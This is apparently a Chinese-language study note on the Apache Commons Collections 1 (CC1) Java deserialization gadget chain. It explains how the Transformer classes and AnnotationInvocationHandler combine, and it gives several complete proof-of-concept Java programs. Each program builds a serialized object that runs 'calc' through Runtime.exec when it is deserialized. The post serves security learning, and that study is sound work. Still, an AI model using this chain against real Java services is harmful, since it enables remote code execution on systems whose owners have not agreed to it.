分享一下最近研究的cc1链相关知识
此链不涉及序列化 只是将漏洞点穿了起来
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ //新建一个Transformer类型的数组 ,然后里面填入两个Transformer new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer类中传入一个对象 返回相同对象 new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) //这里新建 InvokerTransformer对象传入三个值 //但是 InvokerTransformer类中的transform方法需要Runtime.getRuntime()对象 才能rce }; Transformer transformerChain = new ChainedTransformer(transformers); //i=1返回InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime()) Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
里面总共涉及
ConstantTransformer
InvokerTransformer
ChainedTransformer
TransformedMap
四个类
输入什么 返回什么对象
通过反射 获取输入对象的任意方法
也是Common-Collections1链子的实现RCE的根本缘由
输入我们构造的数组对象 然后 通过transform方法进行一个回调,前一个返回的obj作为后一个调用
i=0时 obj为空 返回obj为runtime
i=1时 obj为runtime直接会有弹窗
就是插入数据时 调用transformValue中的transform方法
我们走一遍链子
outerMap.put("test", "xxxx");
插入数据 调用TransformedMap类中transformValue中的transform方法
即transformerChain.transform
i=0时返回obj=runtime i=1时调用之前返回的runtime 通过InvokerTransformer
类实现RCE
poc如下
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ //新建一个Transformer类型的数组 ,然后里面填入两个Transformer new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; // Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class},new Object[]{Class[].class}).transform(Runtime.class); // Runtime R = (Runtime) new InvokerTransformer("invoke",new Class[]{},new Object[]{null,null}).transform(getRuntimeMethod); // Method execMethod =(Method) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(R); // Class runtime = Runtime.class; // Method getRuntimeMethod = runtime.getMethod("getRuntime"); //Runtime R = (Runtime) getRuntimeMethod.invoke(null,null); //Method execMethod = runtime.getMethod("exec", String.class); // execMethod.invoke(R,"calc"); // Transformer transformerChain = new ChainedTransformer(transformers); //transformerChain.transform(Runtime.class); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class,outerMap); //序列化 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); //反序列化 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
分析一下
我们简化链中是往Map中插入数据 触发TransformedMap中的checkSetValue方法,进而一步步的回调。但是实际应用中是不可能让我们插入数据 。这个时候 我们就需要查找那个地方调用了checkSetValue方法,并且最终实现序列化。
在AbstractInputCheckedMapDecorator
类中的setValue
方法调用了checkSetValue
方法
查看那个类调用了setValue
方法 并且实现了序列化。
在AnnotationInvocationHandler
类中重写了readObject
方法
代码如下
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
其中调用了setValue
方法 所以这是我们的入口点
我们需要进入到该类中 调用setValue
方法,此时会触发TransformedMap
中的checkSetValue
方法
最终达到RCE。
因为AnnotationInvocationHandler
类是JDK的内部类 所以我们需要通过反射获得这个类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class,outerMap);
AnnotationInvocationHandler的构造函数如下
第一个参数需要继承Annotation
第二个参数是Map
又因为我们还需要进入到if判断中 实现setValue方法 。所以需要满足两个if条件
首先是AnnotationInvocationHandler的构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X 第二个条件是被TransformedMap.decorate修饰的Map中必须有一个键名为X的元素
Retention,因为它正好就是Annotation的子类,而且它里面有个方法叫做value,所以说为了满足第二个条件我们还需要往map中添加一个元素,它的键名为value,值随意,代码为:innerMap.put("value", "abc");
所以第一个参数是Retention.class
经过修改的POC
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; public class CC1{ public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"}),}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); //序列化 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); //反序列化 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
又因为 Runtime没有继承Serializable接口,所以无法序列化 ,我们需要通过反射和InvokerTransformer
类获取到Runtime对象
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{Class[].class}).transform(Runtime.class); Runtime R = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); Method execMethod =(Method) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(R); // Class runtime = Runtime.class; // Method getRuntimeMethod = runtime.getMethod("getRuntime"); //Runtime R = (Runtime) getRuntimeMethod.invoke(null,null); //Method execMethod = runtime.getMethod("exec", String.class); // execMethod.invoke(R,"calc");
这里 代码量较大 且Runtime R
的transform调用了Method getRuntimeMethod
对象,Method execMethod
的transform调用了Runtime R
对象
符合ChainedTransformer
类中 transform方法的回调
所以我们略微改造
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(Runtime.class);
接下来合并起来就是我们最终的POC
《P神-JAVA安全漫谈》
https://www.bilibili.com/video/BV1no4y1U7E1
http://arsenetang.com/2022/02/06/Java%E7%AF%87%E4%B9%8BCommonsCollections%201%20(2)/